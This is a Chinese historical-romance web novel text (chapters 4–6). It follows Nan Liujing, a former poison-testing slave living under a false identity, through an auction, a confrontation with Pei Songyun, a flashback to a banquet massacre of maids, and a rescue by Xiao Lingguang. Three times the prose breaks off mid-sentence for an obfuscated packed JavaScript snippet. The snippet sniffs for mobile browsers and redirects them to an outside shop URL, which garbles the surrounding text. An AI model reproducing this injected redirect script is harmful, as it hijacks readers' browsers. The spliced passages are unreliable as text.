“瞧,都是冲着那批金银奇宝来的。” 南二娘子同南流景耳语。 竞卖在大堂,她们被安置在二楼的隔间落座。隔间两侧放下了卷帘,身后垂着一串金铃,专门用来叫价。 “小五若有中意的,二姐姐替你叫价。” 南二娘子拍拍南流景的手,朝她眨眼,“就当谢礼了。” 南流景冲她笑了笑,却没往心里去。 她对金银奇宝没兴趣,所以当那些珍珠、琉璃还有火浣布亮相时,整个漱雪庐的铃声都摇碎了,她也只是撑着脸犯困。 南二娘子也在摇铃,可她到底比不过旁人的家底,没摇几下,就只能悻悻地松开了手。 “这盘子值一万钱?有这闲钱买座宅子,买些奴婢不好么?!” “就这破珠子也要五千钱?戴着是能长生不老吗?” “他们明明可以直接抢钱,却附赠你一匹烧不坏的破布,还怪好心呢。” 听到最后南流景都不困了,窝在圈椅里一个劲地笑,“二姐姐说的对。” 总算等那批西域奇宝都卖完了,轮到南流景感兴趣的药材补品时,漱雪庐里已经走了大半的人。 南二娘子觉得自己又可以了,豪阔地挺直腰杆,“小五,二姐姐怎么说也得给你抢个人参雪莲下饭!” 然而这话还是落了空。 楼上有个财大气粗的疯子像是和她们杠上了,硬是将那些药材也叫到了千钱以上,气得南二娘子险些要砸了铃铛冲出去。 “算了,不值当。朝云院里不缺这些药草……真的。” 南流景好说歹说将人劝住了。 随着最后一声铃响,竞卖结束。漱雪庐里剩下的人也各自散去。 南二娘子生了一会闷气,将桌上送的茶点通通吃完了,才同南流景起身离席。 二人戴上幂篱,正要掀帘而出,却被一队人拦了下来。 “奉我家主人之令,将这些赠予南五娘子。” 为首之人拱手作揖,朝身后一招手,那些漱雪庐的仆役便捧着一个个匣盒走上前来,掀开盒盖。 南流景一愣。 南二娘子蓦地瞪大了眼,“这,这不是……” 珍珠,琉璃,火浣布,还有那些药草…… 她们刚刚摇过铃的所有卖品,竟是全部盛装于匣,被人拱手送到了眼前。 “你是说,你家主人买,买下这些,全,全都送给我家五娘了?” 南二娘子从那些匣盒面前走过,眼睛直了,说话也结巴了。 “是。” 南二娘子转头看向南流景,神情变得十分古怪。 南流景垂着眼,情绪倒是没什么起伏,“我连你家主人姓甚名谁都不知,平白无故的,怎好收如此贵重的赠礼?” “我家主人此刻就在楼上。” 言下之意,是邀她上楼。即便是回绝这些赠礼,也要当面回绝。 “二姐姐先回去吧,不必等我。” 南流景掩了掩面前的薄纱,随那人往外走。 她倒是也想见见,楼上究竟是什么人在发癫。 三楼与楼下的布置不一样,不再是狭小的、以卷帘隔开的小间,而是门窗俱全的宽敞雅间。 南流景被带到了视野最好的那一间。 门一推开,茶香缭绕,隐隐掺着一丝熟悉的松香。 南流景身形一僵。 屏风前,白衣郎君端坐在长案后,放下手里的玉柄麈尾,笑着看过来。 4. 重礼 看见裴松筠的第一眼,南流景便知道那些珍珠琉璃是用来做什么的了。 是祸躲不过,她逃也无用,只能迈步走了进去、 身后的门被从外阖上,裴松筠发了话,“坐。” 南流景站着没动,看似恭敬地行了一礼,“我道什么人出手如此阔绰,原来是裴郎君。” “很意外?” “是惶恐。” 南流景轻声道,“如此重礼,我受之不起。” “区区几万钱,比起流玉在你身上花的心思,又算得了什么。” 清润的嗓音,含着似有若无的笑意,“更何况,礼下于人,必有所求。你是聪明人,心里应当清楚。” “……” “有我在一日,你便做不成裴流玉的夫人。” 裴松筠面上的笑依旧温柔,说出口的话却简单、直白,没有丝毫回旋的余地。 许是早就猜到了裴松筠的意图,南流景心里并没有什么波澜。 她垂眼,盯着幂篱外缭绕的茶雾,只是问道,“为什么?为什么我不可以?” “这话应当反过来问。” 裴松筠起身,从长案后绕了出来,踱步走到她面前,“你为什么可以?流玉为你瞒天昧地,才哄得族中长辈答应了这桩婚事。可你身上的破绽实在太多,你的病,你的出身……但凡有一件被戳穿,今日也就无需我来见你。” 茶香被青年身上的松香盖过,钻过面纱缝隙,缠绕着南流景,叫她脸色微微发白。 下一刻,那把熟悉的玉柄麈尾猝不及防地探进她的纱笠下,反手一转,撩起了她面前的白纱。 南流景瞳孔一颤,惊愕地抬眼。 天光明亮,落在她苍白的脸上。明暗流转间,衬出美人骨的轮廓,漂亮得惊人,却也脆弱得毫无生气。 裴松筠抿唇,脸上装出来的那点温和笑意淡了一些。 “连南家女郎的身份都是假的,你竟还要问我为何?” “柳、妱。” 听到这两个字时,南流景只觉得头顶悬而未落的铡刀终于“咔嚓”一声砸了下来。 他果然还记得…… 他竟然还记得?! 被裴松筠认出来,是最坏的结果。 可是也太荒谬了。 她与他,仅仅是见过一面,纵使那一面再惊心动魄,也不至于叫他念念不忘这么些年吧? 甚至连名字都记得…… 这位裴三郎的心眼到底是有多多多多多小啊?! “我不明白你在说些什么……” 承认是绝对不会承认的。 南流景神色茫然,眼神空洞,“我受过重伤,忘记了很多事……醒来时,人人都说我是南家的五娘子。裴郎君的意思是,他们认不出自家女郎,还是他们合起伙来诓我骗我?” 裴松筠手中的麈尾往前一探,抬起了南流景的下巴,似是要将她的脸孔看得再仔细些。 南流景仰头,纤细的玉颈绷直,肌肤下的筋络若隐若现。 “我觉得还有第三种可能。” 她慢慢地朝后退去,直到远离了麈尾,幂篱的白纱再次垂落、掩合,隔绝在二人之间,才轻飘飘地说道,“裴郎君,你真的认错人了。” 雅间内静了下来。 裴松筠许久没出声,隔着面纱和茶雾,南流景也看不清他的脸色。 但想必是不相信她这通鬼话的。 “建都的世家儿郎数不胜数,为何偏偏是裴流玉?” 不知过了多久,她才又听到裴松筠的声音。 南流景想了想,认真道,“我与七郎,是真的情投意合。” “你想要的不是他这个人。” 裴松筠似乎是不想再同她多说了,越过她朝雅间外走去。 “同流玉断绝往来,你还可以继续做南流景,朝云院的一切也不会变。可你若执意要这门婚事……” “切记,贪字头上一把刀。” - 从漱雪庐出来时,天色已昏。 南流景一言不发地上了马车。伏妪已经听说了里头发生的事,刚想问赠礼的是何人,南流景却闭上了眼,只说自己累了困了,想要休息。 马车缓缓驶动,南流景靠着车壁,还真的昏昏沉沉睡了过去。 拜裴松筠那声“柳妱”所赐,她又梦见了那场鸿门宴,梦见自己穿着婢女衣裙站在他身后的阴影里…… 「素闻裴家三郎少有风鉴、识量清远。如此家风,也难免自视甚高,看不上我们这些素门凡流了。」 酒过三巡,满场放浪形骸里,年纪轻轻、洁身自好的裴三郎彻底成了异类,也碍了旁人的眼。 坐在主位的奚家家主、当朝国师,突然拍了两下手,叫停舞乐,「来人,给裴三郎君换杯酒。」 话音既落,便有一个貌美婢女端呈着酒盏迎了上来。 「这郿侯酒是本座珍藏,平日里轻易不拿出来。不过谁让裴氏名重天下,裴郎君是贵客呢?」 「郿侯酒」三字一出,满场皆惊。 南流景没听说过什么郿侯酒,甚至不知道是哪两个字,可她听见隔壁有人在小声议论。 「当年郿侯挟天子以令诸侯,若有不服者,便当堂斩之,人血入酒……」 「郿侯酒以此得名。」 下一刻,国师亲自斟了杯酒,递向裴松筠。 南流景一眼便看见了那酒液上漂浮着的血丝。与此同时,一股混着腥气的酒香也直冲过来,将那好闻的松香都冲得七零八落、令人作呕。 她眼睫一抖,心惊胆战地往后退了两步。 她能退,裴松筠却退不了。 「晚辈不喜饮酒,可否以茶代之?」 「哦?裴郎君是不喜饮酒,还是不肯给本座,给奚氏一个薄面?」 国师一袭深紫道袍,却笑里藏刀,口吻颇为强硬,「这郿侯酒,头一次尝喝不惯,但多饮几杯,却别有滋味,且于身体有益。裴郎君,请吧。」 南流景看不见裴松筠的神情,只瞧见他不为所动的背影,和僵持之下,面色越来越难以捉摸的国师。 浮云翳月,变故陡生。 国师忽地从侍卫腰间抽出剑,抬手朝那呈酒的婢女刺去。 「噗呲!」 剑刃刺入血肉的声响传来。 南流景浑身一颤,眼睁睁地看着那婢女被长剑贯穿、了无生息倒下。 沾在剑上的血落进那郿侯酒中,腥味终于掩盖了酒气。 「裴郎君不肯饮,那便是酒还不够好。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041284|194689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如今又多了一味美人血,可够了?」 说着,国师又从旁扯了两个面色惨白、瑟瑟发抖的侍酒婢女。 南流景魂不守舍地僵在原地,也被一把扯了出去,推到了裴松筠跟前。 「尔等皆为奉酒婢女,宾客拒饮,便是你们无用。今日,便用你们这几条性命都给裴郎君下酒,直叫他愿意饮下才是……」 身边两个婢女当即跪下哭喊,南流景的腿亦是一软,扑通一声与她们跪在了一处。 她也想张口求饶,可一抬头,看清裴松筠的神情时,喉咙却仿佛被死死扼住—— 那张俊逸的脸仍是笑着的,可眼眸里是一片森冷、漠然,好像之前的温柔随和都是她的错觉。 「国师杀自家家奴,与我何干?」 心善的裴三郎君动了动唇,吐出残忍的二字,「请便。」 「……」 这二字决定了婢女们的命运。 国师扬手两剑,面前两人便被抹了脖子,丢在南流景身边。 猩红的血还泛着热气,从身下淌过,浸红了裙裳,烫得她浑身发抖。 被滴着血的剑架在脖子上时,南流景噙着泪的眼睛仍一瞬不瞬地盯着裴松筠。 为什么…… 一杯血酒,明明只是一杯血酒而已…… 明明喝下去,她们就不会死,不用死…… 她死死盯着他,盯着连唇角弧度都不曾变过的他。 原来是她看错了…… 这位裴三郎君压根不是什么善人,而是玉面阎罗。 剑光落下的一瞬间,她突然爆发出一股气力,猛地挣脱桎梏,如一只垂死挣扎的幼兽,不管不顾地扑向裴松筠。 轰地一声,二人重重地摔在了长案上,震得那案上的杯盘酒盏都弹了起来。 南流景头晕眼花,却趁着身下人还没反应的时机,一手扣住他的下巴,一手抄起案上酒盏,将那货真价实的郿侯酒朝他嘴里灌去—— 发间的珠钗、步摇尽数跌落,凌乱的发丝与那猩红的酒液一起,倾泻而下,泼向身下最年轻的裴家家主。 「滚开!咳咳咳!」 酒壶泼空时,南流景被猛地掀开,跌坐在地。 眼前的血色散去,近在咫尺的是满身狼狈、想要将五脏六腑都要呛咳出来的裴松筠。 「大胆!」 身后,国师兴师问罪的声音里充满了狂喜,「裴郎君是本座的贵客,谁许你这个婢子如此冒犯?!」 冒不冒犯都是死…… 她宁肯一搏…… 南流景拭去脸上溅着的血酒,神色漠然。 裴松筠脸色苍白地爬了起来,冷冷地看着她,终于扯下了那张伪装的笑脸。 「这婢子胆大妄为,可否交给晚辈全权处置?」 「自然。」 南流景仰起头,露出一双灼亮的、猩红的,与那盏郿侯酒一般污浊却锋利的眼眸。 她看着那位裴三郎君步伐虚浮地走过来,伸手扼住自己的脖颈,五指猝然收紧。 「你叫什么?」 他问道。 「柳……妱……」 「柳妱,记住了。要你性命的人,叫裴松筠。」 马车上,南流景瞬间惊醒,冷汗涟涟。 5. 药奴 “女郎醒了?” 车帘被掀开,伏妪从外头探进头来。 南流景缓缓坐直身,眼神飘忽地往外扫了一眼。 马车不知什么时候停了下来,车角悬着的灯笼随风飘摇,在夜色里映照着细细密密的雨丝。 “到了?” 她声音有些哑。 伏妪应了一声,随手撑开伞,将南流景迎了下来。 主仆二人回了朝云院,伏妪吩咐人又是备热水,又是煮姜汤。一扭头,就见南流景竟是默不作声地将屋子里的一盆兰草搬出来淋雨。 那兰草在魍魉的摧残下早就枯败了。伏妪想了好多法子都没能使它有起色,现在搬出来又有什么用? “没用的,活不了。” 伏妪摇摇头,催促南流景赶紧回屋,“天上下的是雨,又不是仙露……” “能活的。” 南流景莫名笃定。 那年她绝处逢生,也是这样一个雨夜。 荒林,坟地,被裴松筠扼“死”的她与其他枉死的婢女一样,躺在坟坑里。 她身上沾着别人的血,颈间印着淤青的指痕。柔风甘雨从天而降,润湿了她的发丝、眼睫、嘴唇。残存的最后一口气被雨水浇灌滋养,再次蓬勃,涌回四肢百骸…… 也是在这个柳暗花明的雨夜,她遇见了裴流玉。 许是那一夜受惊过度,初见的记忆已经有些模糊。 她不记得自己是怎么逃下山的,更不记得自己逃到了何处。只记得裴流玉一袭白衣,撑着伞出现在她面前。 她被裴流玉所救,带回“玄圃”养伤——那是裴氏特意为他辟出的私园,供他专心习字,无人搅扰。 直到伤养得差不多了,她才知道裴流玉的身份。 说起来造化弄人。裴氏双壁,哥哥要她性命,弟弟却成了她的救命稻草。 裴流玉也曾打听她的身份、来处,询问她那夜为何会身负重伤,出现在荒郊野岭。 南流景答不上来,也不敢答。 逃奴是重罪,包庇逃奴亦是。 若直言相告她是余姚奚氏的奴婢,难保裴流玉不会将她送回那个火坑里…… 可她九死一生才逃出来,她怎么能甘心?! 她不甘心! 于是,她对裴流玉撒了谎。 「我什么都不记得了,我不知道自己是谁……」 - 翌日一早,南流景起来的第一件事便是去看那盆兰草。 “伏妪!伏妪!” 她大声叫来了伏妪,指着那鲜绿的、滴着露水的兰草给她瞧。 伏妪难以置信,“还真活了?” “俗话说,人无向死之心,天便无绝人之路。” 南流景心情很好,伸手摸了摸那叶片,褒奖它的求生之心,“兰草也是一样。” 伏妪有所触动,很快却又反应过来,“女郎这俗话是从何处听来的?奴怎么从未听过。” 南流景想了想,“……我编的。” 二人正说着话,婢女端着熬好的汤药走过来,伏妪催促南流景趁热喝。 南流景接过药碗,端起来一饮而尽,连丝停顿都没有。 “女郎好生厉害,这么苦的药,奴婢闻着都发怵。” 婢女露出钦佩的眼神。 南流景疑惑地凑到空碗边嗅了嗅,“苦么?尝着比从前甜多了。” 婢女惊恐地睁大眼。 “五娘子喝过的药比你们饮的茶都要多,这点苦算得上什么?” 一道年迈却中气十足的声音从院门口传来。 南流景回头,就见一个鹤骨霜髯、精神矍铄的江湖郎中站在朝云院门口,身侧跟着一个低眉垂眼、手提药箱的女学徒。 “江郎中!” 伏妪高兴地迎了上去,“江郎中何时回的建都?” “昨日才回来。之前说好的,每三个月回来为五娘子诊脉调方,也差不多是时候了。” 江郎中笑着走过来,问候南流景,“五娘子近日可好?可曾犯过旧疾?” 南流景只答了一句“都好”。 江郎中师徒二人被请进了堂屋,伏妪吩咐婢女上了茶,又将南流景的状况事无巨细交代了一番,然后便退了出去。 江郎中看诊,从不许人旁观,伏妪也不例外。 待屋内只剩下三人,南流景才在桌边落座,眉梢微微一挑,“你还要装到几时啊,江自流?” 刚刚还在抚须的江郎中垂下手,侧身退到一旁。他身后,那位一直没说话的女学徒抬起头,对上南流景的视线。 女子荆钗布裙、素面朝天,年纪比南流景长一些。 比起南流景精雕细琢的脸,她的五官并不出众。垂眼时寡淡如水,不会引起任何人注意。可面无表情看过来时,整张脸就生出阴郁、厌倦的气质,甚至有种锐利的冷艳感,叫人印象深刻。 人人皆以为,悬壶济世的江郎中是个老头儿,却不知老头儿只是个会把脉的学徒,真正起死人、肉白骨的神医,是他身边不起眼的江自流。 平日里行走江湖,江自流都是叫江郎中把脉,再根据他所说的脉象开方。 可南流景的病情复杂、脉象奇特,是个特例,江自流只能亲自上阵。 南流景很快就识破了二人颠倒的师徒关系,自那之后,江自流在她面前也就不装了。 “脸色不错。” 江自流走上前,在南流景对面坐下。 “师父请。” 一旁的江郎中接过药箱,取出脉枕,恭敬地放在了江自流跟前,然后便自觉地退到了门口。 南流景卷起袖口,将手腕搭上脉枕,“这次离京,有好消息么?” 江自流明知她问的是什么,却漫不经心地答道,“路上遇到一个村子疫病。几十条性命,顺手捞回来了。” “你每次板着脸说这种话,不像救了人,像顺手宰了人……你自己知道吧。” 江自流替她把脉,无动于衷,“还有心情贬损我,你看着也不像病入膏肓、时日无多的。” 南流景花容失色,“我又要死了?!” 她明明昨日才给自己摸过脉,没有什么大碍…… 江自流瞥了她一眼,“你少诋毁我几句,就能多活几年。” “……” 把完脉,江自流收回手,将脉枕往药箱里一丢,“老样子,脉象平稳,但虚弱。若是天生如此,或许还能进补回来。可你是因为中毒。这一身的余毒纠缠在一起,解也解不了,好在现在已经被我用药稳住。如今它们在你体内相灭相克,暂时也要不了性命。” “你这话已经听得我耳朵都要起茧了。” 南流景嘴角一撇,“若是裴流玉问起来,你……” “我不会告诉他你中毒的事。我耳朵也要起茧了。” 南流景丧着脸,不再说话。 除了江自流,至今也没有其他人知道,她并非天生体弱,而是中毒所致。 她从前的主家是余姚奚氏,曾经隐于山野的医道世家。百年前,奚家先祖奚泓为了救世出山,在战乱中行医施药,传教布道,被流离失所的百姓们奉为救世菩萨。奚泓的信徒越来越多,他的一句天命所归,也让贺兰氏成为民心所向。 所以贺兰氏一统天下后,奚泓便被奉为国师,国师之位代代相传。 只是奚泓死后,奚氏没落得也很快,剩下的也就只剩下国师之名。直到早些年皇族内斗、战乱再起,奚氏又一次驱疫行医,救了当今圣上的性命,这才凭借从龙之功,重现盛势。 然而就是这样悬壶济世的医道世家、深得民心的护国圣手,明面上仁心仁术、为贫苦百姓看诊施药、不收分文,每逢疫病、灾荒,必定身先士卒。可背地里,他们却在后山南院囚禁着众多药奴,将一碗碗汤药灌入药奴口中,先是毒药烈药,后是解药良药,就这样以子之矛攻子之盾——救不活,便得了一味阴邪毒药,救得活,就多了一味千金良方。 日复一日,奚氏以数不清的性命为代价,换取各种“奇方”…… 南流景就是其中一名药奴。 那些年,各种毒药、解药,一碗碗试下来,能留下一口气就已是不幸中的万幸。她本以为自己迟早会和其他药奴一样,被奚家的药汤折磨至死,没想到后来南院生乱,她趁机逃了出来,却误打误撞闯到家主的宴席上,遇见了裴松筠…… 再后来,虽然被裴流玉救回了一条性命,可那些乱七八糟的毒却还留在她体内,阴魂不散。 “其实还有个好消息。” 见南流景郁郁寡欢,江自流饮了口茶,轻飘飘道,“建都好像出现了一株玉髓草。” 南流景回神,蓦地睁大眼看向她,“当真?!” 江自流曾经说过,她这身毒,非玉髓草不能解。 “那你刚刚怎么不说?” “也不用高兴得太早,只是听说而已。” 江自流放下茶盅,“而且那地方,可是龙潭虎穴。” 不管怎样,好歹有了希望。 南流景心情雀跃起来,追着江自流后面问东问西,江自流却不肯告诉她更多。 “你不必管了,我先去试试。” 江自流收拾了药箱离开,“对了,要是三日后我没出现,记得来替我收尸。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041285|194689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “……” 江自流医术高明,说话却向来不着调。 有时候南流景都分不清她何时在开玩笑,何时说的是真心话,所以最后这一句,她也没往心里去。 直到三日后,她真的没等到江自流来复诊。 - 江自流行走四方,居无定所。每次回建都,就宿在南城的永福巷。 南边远离宫城,荒僻杂乱,住在这儿的大多是穷苦百姓。江自流在这儿留了个小药铺,回来便会行医施药。 南流景一直等到天黑,还不见江自流的踪影,到底是坐不住了。 她一边让伏妪去给裴流玉报信,一边带着两个南家的护院,匆匆赶到永福巷。 出乎意料,江自流的药铺上着锁。南流景敲了好一会儿,里头也没有声响。 “你们找江郎中?” 有人从药铺门口经过,好心道,“江郎中没回来,这门前两日就锁上了。” 又有人说,“不会吧,我昨日好像还见了江郎中那个徒弟。就在湖边的巷口……” 南流景当即吩咐一个护院跟着那人去了湖边,自己则绕到了药铺后门。 后门也关着,南流景只迟疑了一会儿,就退后两步,“把门踹开。” 护院一脚踹开门,尘灰扑面而来。 南流景顾不上更多,疾步走了进去。药铺里一片漆黑,四下无人。她试探地唤了两声。 忽然,不远处传来“咚”地闷响。 她连忙循着声音找过去,“江自流!” 药柜后头,荆钗布裙的女子捂着腹部靠坐在角落里,脸色惨白,形容狼狈。 “……你再晚点来呢,真打算给我收尸是不是?” 江自流有气无力地骂道。 南流景蓦地变了脸色,“我呸!今日要是给你收了尸,过不了多久,裴流玉就该给我收尸了!” 她伸手想要搀起江自流,奈何力气太小,只能松开手,让身后的护院帮忙。 待江自流站起来,南流景才注意到她手掌下的布裙洇着一片深红,心头一跳,“怎么伤成这样?!” “有人要杀我灭口……已经包扎过了……” “你徒弟呢?” “前两日就叫他离开建都躲一阵子了,这些人是冲着我来的,不会追他。” 江自流头上沁着冷汗,简短地交代了一句,“别问了,快走……” 南流景没再拖延,临出门时心念一动,拔下江自流头上的木簪,又摘下自己的幂篱。 幂篱下的白纱长至腰间,往江自流头上一戴,几乎罩住了她半个人。 “走。” 南城的路狭仄,马车进不来,还需穿过街巷,才能乘车回府。 三人几乎是刚从药铺里出来,几道黑影便飞快地从暗处跟了上来。 南流景往后扫了一眼,那些人的打扮像是地痞,可看着又没那么简单。他们的脚步越来越快,手也探到了腰后,杀意毕现。 “你这次是真的惹祸了,江自流……” 她从牙缝里挤出一句。 幂篱下,江自流虚弱地,“你当我是为了谁……” 南流景身形一顿,在岔路口推了护院一把,“你先带她走!” 随即转身,与他们分道扬镳,一路沿着崎岖的石梯往上跑。 她用江自流的木簪挽着发,又刻意弯着腰,脚步踉跄。 夜色里,背影瞧着几乎以假乱真,那些脚步声果然朝她追了上来。 南流景跑了没几步便高声喊起了救命,可石梯尽头一个人影都没有。 叫天天不应,叫地地不灵! 脚步声越来越近,眼看着那些人拉长的影子已经从她脚下覆罩上来。南流景心一慌,脚下骤然踩空一步,整个人如断线的纸鸢般朝石梯下落去—— 她瞳孔骤缩。 忽然,一道黑影出现在眼前。 迅疾的风声自耳畔掠过,紧接着是一道刀剑出鞘的铮鸣。 月色下,寒光乍现,沿着她的腰肢划过。 刀刃的冰冷穿透衣衫,凛然欺身,紧贴着她的后腰,阻止了她的下坠。 南流景蓦地睁大了眼。 来人立在阶上,一袭玄黑胡服,挎着纹金蹀躞带,身形挺拔、宽肩劲腰。那张脸逆着光,棱角分明、阴影错落,衬得眉眼愈发森冷、邪佞,叫人望而生畏。 “萧……” 南流景张了张唇,喉间却泛着腥气,只发出了一个字。 下一瞬,身后横着的刀重重一震。 她被从跌落边缘弹了回来,身子往前一扑,手掌扶住了一只冰冷的护腕。 6. 兄长 南流景刚站稳,那只手臂便毫不留情地挣脱了她。 避如蛇蝎的模样,生怕晚一刻就连整条胳膊都不能要了似的。 “站好。” 萧陵光冷叱了一声。 南流景缩回手,扶着石壁站稳。 萧陵光反手收回刀,转而望向石梯下追上来的那几个地痞。 一对上萧陵光,他们竟是齐刷刷顿住,然后相视一眼,飞快地转身离开。 萧陵光一眼分辨出他们是训练有素的杀手,眉心一拧,回过头。 月华如水,凉风过巷。南流景背靠石壁站着,依旧是那副弱不禁风的可怜模样,可又与那日在画舫上见面时不尽相同。 她今日出来得匆忙,一袭素裙,未施粉黛,发间只戴着江自流的那根木簪。因为方才的跑动,素裙上溅了泥污,木簪歪斜,散下好几绺发丝,凌乱地垂在她肩头…… 精致无暇的白瓷有了裂纹,变得狼狈、粗粝,硌得人心痒。 萧陵光收刀如鞘,声音冷酷肃戾,“南五娘。” 呼吸尚未平复,南流景胸口起伏着,颈间的筋脉也隐隐跳动,“是我。多谢萧郎君搭救……” “你招惹了什么人?” “不是我……” 顶着萧陵光审视的目光,她苍白无力地解释了一句,“我若说我也是为了救人,其实什么都不知情,萧郎君相信么?” 萧陵光冷冷地收回视线,抬脚就要离开。 南流景连忙叫住他,试探地,“我家马车停得有些远,不知郎君愿不愿意送我一程?万一那些人再回来……” 萧陵光绷着脸,没说话。 南流景的声音更轻了,“就当是看在流玉的份上。” “走。” 萧陵光还是没给她眼神,只吝啬地吐出一个字。 “……” 南流景扶着石壁站直身,右脚却没敢使劲,轻轻地点着地。 这动作引起了萧陵光的注意。 她难以启齿地,“脚……崴了。” 萧陵光打量着她,眉头拧得更紧,浑身都透着不耐烦。 “我不碰兄弟的女人。” 他斩钉截铁地。 南流景一怔,刚想解释什么,那柄入鞘的直刀却猝不及防地横在了她眼前。 - 寂静无人的巷道,两道影子落在石梯上,近乎重叠。 身高腿长的男人头也不回地走在前头,步子迈得虽大,却走一步停一步。右后方,女子拖着受伤的脚踝,隔着一柄直刀的距离,慢慢地跟着他,双手紧紧扶着刀鞘。 二人一前一后地走着。 碍于萧陵光身上那股生人勿近的寒意,南流景不敢同他说话,只一味地盯着脚下。 没想到走到一半,竟是萧陵光率先出声。 “你叫南昭?” 他问得突兀,南流景甚至还反应了一会儿,“……我叫南流景。愿为南流景,驰光见我君的南流景。” “那裴流玉为何叫你昭昭?” “是乳名。” “劣迹昭彰的昭?” “……” 南流景觉得他是故意的。谁提起昭,第一反应会是劣迹昭彰? 她瞪了一眼他的后脑勺,声音依旧是弱弱的,“不是这个昭,是女召,妱。” 萧陵光倏地停下来,回头看她,眼神竟是变了。之前不过是冰冷锐利,此刻却阴恻恻的,带着一丝狠劲,像是要将她生剥活剐…… 脊骨陡然窜上一丝冷意,南流景攥着刀鞘的手一松。 然而萧陵光的目光只阴森了一瞬,待她再想分辨时,他已经一言不发地转过头,那股摄人的杀意也随之消散。 南流景心有余悸,重新握住刀鞘,不敢追问自己哪儿惹到了这位萧郎君。 二人再没说一个字,在一片死寂里穿过巷子,终于到了一片开阔地。 南家的马车已经不见了,停在那儿的是另一辆。他们到的时候,正有一群人举着火把要冲进南城寻人。而被围在中央的人,赫然是裴流玉! “陵光?” 裴流玉先是看见了萧陵光,紧接着就看见了他身后的南流景,又惊又喜地,“妱妱!” 他冲过来,步子不知怎的有些踉跄,“我得了伏妪的消息就过来了,你没事吧?” “只是崴了脚……江郎中他们呢?” “我已经叫人先送他们回朝云院了。” 南流景松了口气,这时才发现裴流玉的脸色没比她好到哪儿去,不由一愣,“你脸色怎么如此差?” “……” 裴流玉眼神闪躲,还没来得及想好说辞,却被一旁的萧陵光拆了台。 “昨日才挨了顿家法,今日还有力气跑到这儿来。看来你兄长还是罚得轻了。” 家法…… 南流景微微睁大了眼,看向裴流玉。 裴流玉脸上挂不住,反问萧陵光,“你怎么在这儿?” 即便是面对裴流玉,萧陵光也是惜字如金,吝啬地丢出两个字,“公差。” 南流景扯了扯裴流玉的衣袖,“今日多亏了萧郎君,不然那些人没那么轻易放过我……” 裴流玉这才眉眼舒展,正色向萧陵光道谢,然后带着南流景上了马车。 萧陵光的马也拴在不远处,他解了绳子,翻身上马。跟上裴流玉的马车后,他放慢了速度,不远不近地跟在一旁,护送他们回程。 路上很静,车轮驶动的吱呀声里,夹杂着车内二人的亲昵私语。 “当心你的脚……” “你呢,身上的伤很重么?” “不重。” “伤在哪儿了?疼不疼?” 好像两只挨了打,还要挨在一起互相舔毛的狸奴。 其中一只被打得灰头土脸了还要扬着脑袋说大话,“区区一顿板子,哪儿就能把我打坏了……你别听陵光瞎说。” 萧陵光启唇,声音凉薄,“我听得到。” 裴流玉掀开车帘看他,“那请你假装听不到。” 丢出这么一句后,他又将脑袋缩了回去,轻轻握住南流景的手,压低声音。 “兄长毕竟是家主,我第一次忤逆他,肯定是要吃些苦头的……但今时不同往日,妱妱,你只要知道,兄长出征了两年。这两年时移事改,即便兄长还是家主,也很难再在族中说一不二了……” 话音未落,萧陵光的冷笑声又从车外传来。 “为了个女郎,就背刺你兄长。我若是裴松筠,打断你的腿都是轻的。” “……” 裴流玉皱皱眉,脸色隐隐发青。再开口时,甚至提高了音量,“你莫要自己遇人不淑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041286|194689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就见不得旁人两情相悦、天长地久!” 外头瞬间没了动静。 南流景有些诧异,朝马车外指了指,又对裴流玉做了个口型,“遇人不淑?” 裴流玉音量不减,“他有个一同长大的青梅竹马……” “啪!” 一声暴烈的鞭声伴随着马嘶骤然响起,直接盖过了裴流玉的声音。 南流景微微一惊。 裴流玉安抚地握紧她的手,又将车帘掀开一角。 果然,那道玄黑身影已经策马远去,顷刻间消失在了夜色中。 “不该说的……这回是真戳到他痛处了……” 裴流玉有些后悔,“罢了,改日再找机会向他赔罪吧。” 想起萧陵光刚刚听到“妱”字的反应,南流景心中有个猜测。她好奇地还想打听更多,可关于萧陵光的那段情,裴流玉却不肯再提了。 “妱妱,我与兄长多半还要再僵持些时日。接下来,怕是不能再去朝云院,甚至有可能连裴家的门都出不去……” 裴流玉认真道,“若是再遇到什么危急状况,我又不能及时赶到的,你就去萧家找陵光,他会帮你的。” 南流景将信将疑。 萧陵光今日是救了她,可她不觉得他还会帮自己第二次、第三次…… “陵光与其他世家子弟不同。他只是对女子有成见,但不会轻视你的出身。” 顿了顿,裴流玉又郑重其事道,“绝对不会。” - 江自流被安置在朝云院的厢房。 南流景回来时,她已经手把手教婢女给自己换了药,包扎了伤口,精疲力竭地躺在床上。 南流景屏退了婢女,在床边坐下,“还好么?” “死是死不了了……” 